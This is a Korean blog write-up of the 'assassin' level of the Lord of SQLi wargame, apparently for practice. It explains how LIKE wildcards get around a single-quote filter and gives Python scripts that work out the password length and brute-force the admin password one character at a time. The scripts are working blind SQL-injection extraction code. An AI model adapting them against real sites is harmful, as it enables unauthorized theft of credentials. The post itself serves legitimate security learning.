article thumbnail image
Published 2021. 8. 2. 14:35

 

assassin 입장!

이번 문제는 pw 하나만 입력받고 있다. 그리고 필터링도 싱글쿼터 하나다.

싱글쿼터가 필터링되고 있기 때문에 앞의 query를 '로 막고 새로운 query를 작성하는 방법은 사용할 수 없다.

즉 주어진 like문을 활용해서 해결해야 한다.

 

admin의 password를 알아내야 admin id를 select할 수 있는데 like를 적절히 활용하면 모든 password를 알아낼 필요는 없다.

 

ex)

like '김%'        →    김으로 시작하는 문자열

like '%김%'    →    중간에 김이 있는 문자열

like '%김'        →    김으로 끝나는 문자열

 

위 특성을 이용해 password의 앞머리 문자만 알아내면 admin id를 select할 수 있다.

 

- password length

더보기
import requests

url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={'PHPSESSID':'7jcth1upjbeo14mfbren6hv4lk'}

i=1
while True:
    data="_"*i
    query="?pw="+data
    result=requests.get(url+query, cookies=cookies)
    if("Hello guest" in result.text):
        print("password length:",i)
        break
    print(i)
    i+=1;

실행 결과

 

다음은 password의 앞문자를 알아내기 위한 소스코드다.

import requests

url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={'PHPSESSID':'7jcth1upjbeo14mfbren6hv4lk'}

    
    
for ch in range(48, 123):
    if 58 <=ch <= 96 :continue
    query="?pw="+chr(ch)+"%"
    result=requests.get(url+query, cookies=cookies)
    if("Hello admin" in result.text):
        print("admin password:".ch)
        break
    print(ch)

 

하지만 실행한 결과 원하는 결과를 얻지 못했다.

왜 이런 결과가 나오는지 이해하지 못해 찾아봤더니 guest와 admin의 password 앞부분이 일치하는 것 같았다.

거기다 DB상에서 guest가 admin보다 위쪽에 위치해 있어서 같은 검색 결과를 가진 경우 guest가 먼저 뜨는 것이었다.

위 내용을 참고하여 소스코드를 다시 작성했다.

 

import requests

url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={'PHPSESSID':'7jcth1upjbeo14mfbren6hv4lk'}
    
pw=""
for i in range(1,9):
    for ch in range(48, 123):
        if 58 <=ch <= 96 :continue
        query="?pw="+pw+chr(ch)+"%"
        result=requests.get(url+query, cookies=cookies)
        if("Hello guest" in result.text):
            pw+=chr(ch)
            print(pw)
            break
        elif("Hello admin" in result.text):
            pw+=chr(ch)
            print("pw%",pw)
            break

 

실행 결과

 

Hello guest와 Hello admin의 경우로 나누어 코드를 새로 작성했다.

(코드를 작성하다보니 admin의 전체 password를 얻을 수 있게 됐다😀)

 

admin password: 902efd10

 

password를 넘겨주면

 

assassin 해결!

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[natas] Level 24 -> Level 25  (0) 2021.08.09
[LOS] succubus  (0) 2021.08.09
[natas] Level 23 -> Level 24  (0) 2021.08.02
[LOS] giant  (0) 2021.07.26
[natas] Level 22 -> Level 23  (0) 2021.07.26
복사했습니다!